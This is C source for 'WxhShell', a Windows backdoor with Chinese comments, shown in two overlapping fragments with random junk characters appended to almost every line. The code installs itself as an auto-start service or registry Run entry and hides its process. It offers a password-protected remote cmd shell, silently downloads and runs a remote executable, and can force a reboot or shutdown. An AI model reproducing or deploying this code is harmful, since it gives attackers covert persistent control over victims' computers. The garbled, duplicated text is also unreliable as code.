    if(Boot(SHUTDOWN)) ->#@rF:S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UOL%tT  
    else { \crb&EgID  
    closesocket(wsh); JbD)}(G;  
    ExitThread(0); Vm%ux>}  
    } kjYO0!C  
    break; 6W#F Ss~  
    } tFP;CW!E  
  // 获取shell di P4]/%1  
  case 's': { /JY ph^3][  
    CmdShell(wsh); 'rx,f  
    closesocket(wsh); ^Y*.Ktp,o  
    ExitThread(0); 'MM~ ~:  
    break; q,h.W JI  
  } IfI$  
  // 退出 5'L}LT8p@  
  case 'x': { SvpTs  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F#C6.`B  
    CloseIt(wsh); U JRT4>G  
    break; _ .   
    } |Btx&'m  
  // 离开 Q~8&pP8 I!  
  case 'q': { U~`^Y8UF  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); w5JC2   
    closesocket(wsh); gJcL{]  
    WSACleanup(); tNNg[;0  
    exit(1); eOnl s x/  
    break; lSsFI30  
        } \kRJUX! s  
  } TKutO0  
  } x?& xz;  
i{RS/,h4  
  // 提示信息 q9Opa2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Fm+)mmJP  
} 2o7C2)YT$  
  } U=?"j-wN  
$">NW& i(  
  return; {qdhp_~^l  
} -VT?/=Y s  
zpQ/E  
// shell模块句柄 fi@+swfc  
int CmdShell(SOCKET sock) *:\9 T#h  
{ `pS)q x.a  
STARTUPINFO si; H {Wpf9_ K  
ZeroMemory(&si,sizeof(si)); )x O_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  G6ES]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; p:n^c5  
PROCESS_INFORMATION ProcessInfo; &ZFAUE,[  
char cmdline[]="cmd"; /M c"K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [ :(M<u`y>  
  return 0; F[giq 1#  
} D`@U[`Sw  
g<5Pc,  
// 自身启动模式 $GK m`I"  
int StartFromService(void) e<wj5:M|  
{ +s 0Bt '  
typedef struct u5|e9(J  
{ @Sd:]h:f-  
  DWORD ExitStatus; 4sgwQ$m)  
  DWORD PebBaseAddress; u:kY4T+Z  
  DWORD AffinityMask; kEDZqUD  
  DWORD BasePriority; v-aq".XQ  
  ULONG UniqueProcessId; 2Ab#uPBn  
  ULONG InheritedFromUniqueProcessId; E|#R0n*  
}   PROCESS_BASIC_INFORMATION; rKO*A7vE  
%QZ!Tb  
PROCNTQSIP NtQueryInformationProcess; <"P '"SC  
~ab_+%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9 3I9`!e  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $?Mz[X  
LjAIB(*  
  HANDLE             hProcess; -H;y_^2  
  PROCESS_BASIC_INFORMATION pbi; h>Pg:*N,(  
$ T_EsnN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u(a&x|WY  
  if(NULL == hInst ) return 0; 6?x{-Zj ^?  
vrDRSc6_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); < tq9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -k{R<L  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W5uI(rS<6  
lfG's'U-z  
  if (!NtQueryInformationProcess) return 0; Hmd:>_[f  
/>7/S^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =KD*+.'\/  
  if(!hProcess) return 0; 6b)UoJxj  
muq|^Hfb  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @S:/6__  
zQ _[wM-  
  CloseHandle(hProcess); $q+`GXc-  
^*W<$A_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U.0/r!po  
if(hProcess==NULL) return 0; v%Q7\X(  
9m9=O&C~-<  
HMODULE hMod; *[YN|  
char procName[255]; 1"6k5wrIA  
unsigned long cbNeeded; 8H b|'Q|^  
'$^ F.2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ml 2z  
>Tx;<G  
  CloseHandle(hProcess); PFw"ICs  
Ol0|)0  
if(strstr(procName,"services")) return 1; // 以服务启动 b(Xg6  
4!qDG+m  
  return 0; // 注册表启动 qnRzs  
} !r <|F  
Qq`\C0RZ  
// 主模块 6p{x2>2y[  
int StartWxhshell(LPSTR lpCmdLine) []Ea0jYu  
{ nd1*e  
  SOCKET wsl; a~"X.xT\R  
BOOL val=TRUE; 0-HE, lv  
  int port=0; 9F4|T7?  
  struct sockaddr_in door; 3NWAy Cq-  
21j+c{O  
  if(wscfg.ws_autoins) Install(); o$ k$  
wQ^a2$Z  
port=atoi(lpCmdLine); .).<L`q  
xU"qB24]=  
if(port<=0) port=wscfg.ws_port; DV" ri  
2ow\d b  
  WSADATA data; k~dr;j  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4Pdk?vHK;  
YR.'JF`C  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   S7Fxb+{6D  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &3J#"9 _S  
  door.sin_family = AF_INET; {r8CzJ'f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]f~YeOB@  
  door.sin_port = htons(port); k 'b|#c9c  
 :i$Z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Fgk/Ph3r  
closesocket(wsl); %"2B1^o>  
return 1; M(jH"u&f  
} 4UkLvL1x  
/B7 GH5  
  if(listen(wsl,2) == INVALID_SOCKET) { }6N|+z.cU  
closesocket(wsl); x6tY _lzJ  
return 1; !W7ekPnK  
} ?J ?!%Mw  
  Wxhshell(wsl); e>)5j1  
  WSACleanup(); e X@q'Zi  
Uo ,3 lMr  
return 0; N!,l4!M\N  
Hyg?as>}u  
} 1gJ!!SHPo  
< i|+p1t  
// 以NT服务方式启动 +pm8;&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F o6U "  
{ vGw}e&YI  
DWORD   status = 0; p]oo^  
  DWORD   specificError = 0xfffffff; s q KkTG3  
{IvCe0`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; R[;Z<K\Nn?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "kC>EtaX  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]Ox.6BKjDP  
  serviceStatus.dwWin32ExitCode     = 0; NM Ajt>t  
  serviceStatus.dwServiceSpecificExitCode = 0; .Dmvgi]  
  serviceStatus.dwCheckPoint       = 0; 5KSsRq/8"  
  serviceStatus.dwWaitHint       = 0; IuF-bxA  
D>Z_N?iR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); QPEv@laM  
  if (hServiceStatusHandle==0) return; BKEB,K=K@  
5EUkp6Y  
status = GetLastError(); W| p?KJk)  
  if (status!=NO_ERROR) ;}qCIyuO]  
{ +h/$_5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ijB,Q>TgO  
    serviceStatus.dwCheckPoint       = 0; x{}m)2[Y  
    serviceStatus.dwWaitHint       = 0; E=d[pI,e  
    serviceStatus.dwWin32ExitCode     = status; 2LdV=ifq2S  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^l,Jbt  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n6}1{\  
    return; Zn/ /u<D  
  } qC &<U  
$7,dKC &  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3a0C<hW  
  serviceStatus.dwCheckPoint       = 0; ;xc  
  serviceStatus.dwWaitHint       = 0; 6eD[)_?]y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); TxWj gW~  
} ;`+,gVrp  
'Bx7b(xqk  
// 处理NT服务事件,比如:启动、停止 7d*<'k]{,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s7?kU3 y=s  
{ ~6nQ-  
switch(fdwControl) N_0O"" d  
{ wSK?mS6  
case SERVICE_CONTROL_STOP: hbK+\X  
  serviceStatus.dwWin32ExitCode = 0; t-Wn@a  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; e|LXH/H  
  serviceStatus.dwCheckPoint   = 0; DxBt83e  
  serviceStatus.dwWaitHint     = 0; &}uO ]0bR  
  { pK`rm"6G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cPXvT Vvs  
  } iR-O6*PTC  
  return; QWkw$mcf  
case SERVICE_CONTROL_PAUSE: slx^" BF^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u=[oo @Rk`  
  break; (2(hl-- 'n  
case SERVICE_CONTROL_CONTINUE: h:;~)={"X  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .H&;pOf  
  break; u@HP@>V  
case SERVICE_CONTROL_INTERROGATE: vIJdl2(^E  
  break; ^cNP ?7g7  
}; `@&qf}`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N%a[Y  
} @&+ 1b=  
<3bh-)  
// 标准应用程序主函数 ~"N]%Cu  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2gGJ:,RC$  
{ {e^llfj$#  
Tla*V#:Ve  
// 获取操作系统版本 vB p5&*  
OsIsNt=GetOsVer(); k|V{jB G"@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 580t@?  
=h)H`  
  // 从命令行安装 +CkK4<dF  
  if(strpbrk(lpCmdLine,"iI")) Install(); q )[g VL  
9&tV#=s  
  // 下载执行文件 J}x5Ko@  
if(wscfg.ws_downexe) { Xw%z#6l  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  -<sXvn  
  WinExec(wscfg.ws_filenam,SW_HIDE); x>@UqUJV  
} VtVnht1  
 JeA}d  
if(!OsIsNt) {  }oG&zw  
// 如果时win9x,隐藏进程并且设置为注册表启动 :\[F=  
HideProc(); 0ePZxOSjD  
StartWxhshell(lpCmdLine); ^o 5q- ;a  
} pkoHi'}}$  
else u{ng\d*KE}  
  if(StartFromService()) J L3A/^  
  // 以服务方式启动 ,P|PPx%@  
  StartServiceCtrlDispatcher(DispatchTable); 1pK7EK3R  
else nxt1Y04,H  
  // 普通方式启动 cZYX[.oIB  
  StartWxhshell(lpCmdLine); )mEF_ &  
uzo}?X#  
return 0; $lqV(s  
} ,rd+ dN  
'e*C^(6  
>i~c>+R  
0kkiS 3T  
=========================================== _D:/?=y;e  
EW`3h9v~  
!|!V}O  
$`  
Rz)#VVYC=  
"$)2|  
" &jJgAZ!  
vV|egmw01  
#include <stdio.h> T:ck/:ZH  
#include <string.h> 5HU>o|.  
#include <windows.h> 2{& " 3dq  
#include <winsock2.h> $=bN=hE  
#include <winsvc.h> pUmB h  
#include <urlmon.h> yE7pCgXt  
Np<Aak  
#pragma comment (lib, "Ws2_32.lib") ^Z!W3q Q  
#pragma comment (lib, "urlmon.lib") |J\/U,nh  
B}(YD;7vJ  
#define MAX_USER   100 // 最大客户端连接数 FD*y[A ?  
#define BUF_SOCK   200 // sock buffer =k_u5@.Z  
#define KEY_BUFF   255 // 输入 buffer K!9=e7|P  
Xy{b(b;9  
#define REBOOT     0   // 重启 mVkn~LD:0  
#define SHUTDOWN   1   // 关机 =4I361oMf  
~`BOz P  
#define DEF_PORT   5000 // 监听端口 6Z"%vrH  
Wp'\NFe 8  
#define REG_LEN     16   // 注册表键长度 D>mLSh  
#define SVC_LEN     80   // NT服务名长度 KpE#Ye&  
Y PM>FDxDB  
// 从dll定义API TKE)NIa  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); IV *}w"r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p+t8*lkq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {T IGPK  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i~2>kxf;K1  
t@Jo ?0s  
// wxhshell配置信息 f 6q@  
struct WSCFG { \u*,~J)z  
  int ws_port;         // 监听端口 !y),| #7P  
  char ws_passstr[REG_LEN]; // 口令 %:y-"m1\u$  
  int ws_autoins;       // 安装标记, 1=yes 0=no NE! Xt<A  
  char ws_regname[REG_LEN]; // 注册表键名 +)Ty^;+[1  
  char ws_svcname[REG_LEN]; // 服务名 YT_kMy>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &F:7U!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2vXMrh\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3.jwOFH$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no LD NpEX~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" OYKV*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Qknd^%  
i et|\4A  
}; +Lyh F2  
;)kBJ @  
// default Wxhshell configuration 2P|-V};9  
struct WSCFG wscfg={DEF_PORT, '!0CwZ 7  
    "xuhuanlingzhe", (=X16}n:>  
    1, '%MIG88  
    "Wxhshell", brFOQU?  
    "Wxhshell", 6!'yU=Z`  
            "WxhShell Service", 6R<%. -qr  
    "Wrsky Windows CmdShell Service", A +p}oY '  
    "Please Input Your Password: ", R0|X;3  
  1, u Qj#U m8  
  "http://www.wrsky.com/wxhshell.exe", we@bq,\w  
  "Wxhshell.exe" |amEuKJ  
    }; R|vF*0)>W  
^TjFR*S'E  
// 消息定义模块 <omz9d1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ks{s Q@~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; c{ <3\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |joGrWv4  
char *msg_ws_ext="\n\rExit."; r[lHYO  
char *msg_ws_end="\n\rQuit."; GwvxX&P  
char *msg_ws_boot="\n\rReboot..."; qN)cB?+  
char *msg_ws_poff="\n\rShutdown..."; 4$J/e?i  
char *msg_ws_down="\n\rSave to "; qdm!]w.G5  
Ia\Nj _-%L  
char *msg_ws_err="\n\rErr!"; .UDZW*  
char *msg_ws_ok="\n\rOK!"; +VeLd+Q}  
crT[;w  
char ExeFile[MAX_PATH]; $ p0s  
int nUser = 0; kju:/kYA  
HANDLE handles[MAX_USER]; MhsG9q_%  
int OsIsNt; Qw ^tzP8  
SX4p(t  
SERVICE_STATUS       serviceStatus; ?=vwr,ir  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *Dn{MD7,M  
XkD_SaL}  
// 函数声明 sPw(+m*C   
int Install(void); jlB3BwG{w  
int Uninstall(void); Ns $PS\  
int DownloadFile(char *sURL, SOCKET wsh); spI{d!c  
int Boot(int flag); m&\Gz*)3  
void HideProc(void); zf!c  
int GetOsVer(void); WX[y cm8  
int Wxhshell(SOCKET wsl); zEGwQp<  
void TalkWithClient(void *cs); -Av/L>TxlI  
int CmdShell(SOCKET sock); =f["M=)ZJ  
int StartFromService(void); ,t[D1KZt  
int StartWxhshell(LPSTR lpCmdLine); 5|b/G  
w.3R1}R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \<8!b {F  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); XC$~!  
Z\Q7#dl  
// 数据结构和表定义 c1/x,1LnMf  
SERVICE_TABLE_ENTRY DispatchTable[] = uqnZ  
{ pr?/rXw  
{wscfg.ws_svcname, NTServiceMain}, "gO5dZ\0  
{NULL, NULL} B^qB6:\t  
}; M{H&5 9v  
UOu&sg*o2B  
// 自我安装 OU+*@2")t  
int Install(void) J0K"WmW  
{ H0HYb\TX?  
  char svExeFile[MAX_PATH]; `3OGCy  
  HKEY key; Bb o*  
  strcpy(svExeFile,ExeFile); 9f @)EKBK  
0(kp>%mbB  
// 如果是win9x系统,修改注册表设为自启动 +u#x[xO  
if(!OsIsNt) { v Zxy9Wmc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0jmlsC>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?m!FM:%  
  RegCloseKey(key); .jKO 6f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o i?ak  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M~6I-HexT|  
  RegCloseKey(key); /<C=9?Ok  
  return 0; NWvxbv  
    } 2V]2jxOQ  
  } W1s|7  
} 'UyL%h;nJ  
else { n*1UNQp@]O  
4D13K.h`O  
// 如果是NT以上系统,安装为系统服务 +R_U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X}yYBf/R`  
if (schSCManager!=0) \,N dg*qC  
{ p .HA `R>  
  SC_HANDLE schService = CreateService `#ztp)&  
  ( ~IXfID!8  
  schSCManager, oW_WW$+N  
  wscfg.ws_svcname, (nzt}i0  
  wscfg.ws_svcdisp, V6k9L*VP  
  SERVICE_ALL_ACCESS, OrBFe *2y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c>g%oE  
  SERVICE_AUTO_START, W@tLT[}CG  
  SERVICE_ERROR_NORMAL, 6PH*]#PfoD  
  svExeFile, )N/KQ[W  
  NULL, 7Tbkti;  
  NULL, cG?266{g  
  NULL, B_S3}g<~  
  NULL, bo2Od  
  NULL RB"rx\u7K  
  ); NO$Nl/XM  
  if (schService!=0) #q- _  
  { *E]\l+]J  
  CloseServiceHandle(schService); 2KEww3.{  
  CloseServiceHandle(schSCManager); - \QtE}|4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); OK 6}9Eu9  
  strcat(svExeFile,wscfg.ws_svcname); pr"flRQr#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { El%(je,|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -}J8|gwwp  
  RegCloseKey(key); F\I^d]#,[  
  return 0; CmTJa5:  
    } m+g>s&1H  
  } epF>z   
  CloseServiceHandle(schSCManager); d1-p];&  
} Ba6xkEd  
} UU/|s>F  
4pqZ!@45|  
return 1; ,3j7Y5v  
} BP6Shc|C  
wOOPWwk  
// 自我卸载 >UMnItq(l  
int Uninstall(void) }#J}8.  
{ F'I6aE%  
  HKEY key; 7r>W r#  
DFonK{  
if(!OsIsNt) { Z ux2VepT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U~m.I  
  RegDeleteValue(key,wscfg.ws_regname); zMKL: Um"  
  RegCloseKey(key); (a?Ip)`I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { St`m52V(5X  
  RegDeleteValue(key,wscfg.ws_regname); E`|qFG<  
  RegCloseKey(key); r . ^&%D  
  return 0; A3_9MO   
  } yH^*Fp8V  
} R 6Em^A/>  
} jq)|Uq'6  
else { bed+Ur&  
R.N*G]K5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;"Y6&YP<  
if (schSCManager!=0) LnGSYrx1  
{ 7W"menw  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $}$@)!-  
  if (schService!=0) _u$K Lqt/,  
  { ]Ho`*$dD  
  if(DeleteService(schService)!=0) { }3 }=tN5  
  CloseServiceHandle(schService); rRYf.~UH@P  
  CloseServiceHandle(schSCManager); -cgukl4Va  
  return 0; 1tdCzbEn+  
  } 27:x5g?  
  CloseServiceHandle(schService); "=.|QKC1`  
  }  ZsZ1  
  CloseServiceHandle(schSCManager); :(Bi {cw  
} ^~l<N@  
} (rn x56I$  
[3Rj?z"S  
return 1; 5b p"dIe  
} Qs:r@"hE  
U@nwSfp:G  
// 从指定url下载文件 7g9^Jn  
int DownloadFile(char *sURL, SOCKET wsh) Ziimz}WHF  
{ _ GSw\r  
  HRESULT hr; N/BU%c ph+  
char seps[]= "/"; gN~y6c:N  
char *token; H%]ch6C  
char *file; N&=2 /  
char myURL[MAX_PATH]; |U $-d^ZJ  
char myFILE[MAX_PATH]; tpONSRY  
AHJ;>"]  
strcpy(myURL,sURL); 6^;!9$G|D*  
  token=strtok(myURL,seps); lvi:I+VgA  
  while(token!=NULL) Ck?:8YlF  
  { W?-BT >#s  
    file=token; "M^W:4_  
  token=strtok(NULL,seps); J-F_XKqH  
  } kB#vh  
bl_WN|SQ  
GetCurrentDirectory(MAX_PATH,myFILE); ^ {f ^WL=  
strcat(myFILE, "\\"); zi .,?Q  
strcat(myFILE, file); 0(x@ NGb>{  
  send(wsh,myFILE,strlen(myFILE),0); KTt$Pt/.  
send(wsh,"...",3,0); Xkom@F~]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (14kR  
  if(hr==S_OK) B}+9U  
return 0; &Q>'U6"%  
else ZnLk :6'  
return 1; T0%TeFY  
9'g{<(R]  
} 2j1v.%  
\[1CDz=}1  
// 系统电源模块 y#;VGf6lj  
int Boot(int flag) ~79Qg{+]N  
{ W+e*(W|d6  
  HANDLE hToken; TZNgtR{q  
  TOKEN_PRIVILEGES tkp; =hIT?Z6A  
^]&{"!  
  if(OsIsNt) { I?Fa  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \/'n[3x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5C1Rub)  
    tkp.PrivilegeCount = 1; u 7Y< ~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2-!Mao"^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @H0%N53nE  
if(flag==REBOOT) { #l#[\6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) q- (N Zno  
  return 0; \N+Ta:U1P  
} LoE(W|nj  
else { <Cu?$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rq["O/2  
  return 0; lFGxW 5  
} {))S<_ yN  
  } OG7v'vmY  
  else { UQ])QTrZFi  
if(flag==REBOOT) { h^kNM8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) GY]6#>D#7  
  return 0; }, &,Dt  
} l~TIFmHkh%  
else { Gj8[*3d  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8:?Q(M7  
  return 0; |#:dC #  
} ZHECcPhz  
} :*:fu n  
kah3Uhr~  
return 1; jI`To%^ Y  
} Kx 185Q'W  
0nq}SH  
// win9x进程隐藏模块 *M<BPxh0w]  
void HideProc(void) Dh(T) yc  
{ !riMIl1  
iv z?-X4]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }_(^/pnk  
  if ( hKernel != NULL ) iz>y u[|  
  { 2vdQ&H4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *a,.E6C*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |4> r"  
    FreeLibrary(hKernel); 7h9[-d6  
  } V /9"Xmv75  
ro^6:w3O^  
return; D4O5@KfL  
} %iL@:'?K  
*8X9lv.Z  
// 获取操作系统版本 \.;ct  
int GetOsVer(void) G<-9U}~76  
{ yX.5Y|A<  
  OSVERSIONINFO winfo; ElR&scXi__  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +<WRB\W  
  GetVersionEx(&winfo); NU&^7[!yl  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) KR+BuL+L  
  return 1; 4:eq{n  
  else Y:!/4GF  
  return 0; 1;kG[z=A  
} +}XL>=-5  
ciGpluQF  
// 客户端句柄模块 tZu*Asx7  
int Wxhshell(SOCKET wsl) `TD%M`a  
{ ?I2k6%a  
  SOCKET wsh; fZV8 o$V  
  struct sockaddr_in client; 7|M$W(P  
  DWORD myID; U]!.~ji3  
RJ}yf|d-C  
  while(nUser<MAX_USER) fJ&<iD)6  
{ [zTYiNa  
  int nSize=sizeof(client); RTgA[O4J  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^o6)[_L  
  if(wsh==INVALID_SOCKET) return 1; SXo[[ao  
3pTS@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kV:FJx0xP  
if(handles[nUser]==0) ZCE%38E N  
  closesocket(wsh); F'>GN}n  
else nl-t<#z[  
  nUser++; Q_]!an(  
  } #S53u?JV8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xngeV_xc2  
^0x.'G?  
  return 0; j`|^s}8t  
} Ld}(*-1i  
cbu nq"  
// 关闭 socket ,+ \4 '`  
void CloseIt(SOCKET wsh) *0&4mi8  
{ b y|?g8  
closesocket(wsh); `gt&Y-  
nUser--; or%gTVZ  
ExitThread(0); 3$$5Mk(&  
} juYA`:qE&  
"wF ?Hamz  
// 客户端请求句柄 \at-"[.  
void TalkWithClient(void *cs) x?f0Hk+  
{ pqH( Tbjq  
(o*e<y,}W  
  SOCKET wsh=(SOCKET)cs; x7KcO0F{  
  char pwd[SVC_LEN]; cbh#E)[ '  
  char cmd[KEY_BUFF]; o,CA;_  
char chr[1]; ~N{_N95!2@  
int i,j; uhTKCR~  
t(j_eq}J  
  while (nUser < MAX_USER) { l~fh_IV1  
xgtJl}L  
if(wscfg.ws_passstr) { _z<Y#mik  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cVB|sYdf  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $(KIB82&  
  //ZeroMemory(pwd,KEY_BUFF); M2;%1^  
      i=0; Esz1uty  
  while(i<SVC_LEN) { 2;%#C!TG;  
 `CA G8D  
  // 设置超时 4/HY[FT  
  fd_set FdRead; D%;wVnU w  
  struct timeval TimeOut; Z{a{HX[Jx  
  FD_ZERO(&FdRead); ![a/kj  
  FD_SET(wsh,&FdRead); Wkg*J3O  
  TimeOut.tv_sec=8; SaR}\Up  
  TimeOut.tv_usec=0; 192.W+H<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); L,b|Iq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W s^+7u  
Evr2|4|O~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %\X P:  
  pwd=chr[0]; !cN?SGafZI  
  if(chr[0]==0xd || chr[0]==0xa) { ;Na8 _}  
  pwd=0; <TLGfA1bC  
  break; &\"Y/b]  
  } !B [1zE  
  i++; ]r/(n]=(  
    } v:veV.y  
i!SW?\  
  // 如果是非法用户,关闭 socket 4Q$j]U&b  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?JXBWB4  
} 670J{b  
pAJ=f}",]E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j*;*Ka w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z7/vrME6  
bK$/,,0=X/  
while(1) { ~:/%/-^  
 ``(}4 a  
  ZeroMemory(cmd,KEY_BUFF); [^?13xMb  
;f".'9 l^  
      // 自动支持客户端 telnet标准   }.fL$,7a  
  j=0; E/wQ+rv  
  while(j<KEY_BUFF) { U;x1}eFT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B#HnPUUK  
  cmd[j]=chr[0]; $kxu;I  
  if(chr[0]==0xa || chr[0]==0xd) { u;+%Qh  
  cmd[j]=0; pG,<_N@P  
  break; ",~ b2]ym  
  } ]PR|d\O  
  j++; K,x$c %  
    } tr}KPdE  
K[Y c<Q  
  // 下载文件 QO5OnYh  
  if(strstr(cmd,"http://")) { ; @ 7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); eZ!yPdgy|  
  if(DownloadFile(cmd,wsh)) f![xn2T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); V.K70)]  
  else ZhGh {D[,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nl~Z,hT$*  
  } -!XrwQyk  
  else { gf:vb*#Wa  
?gd'M_-J,  
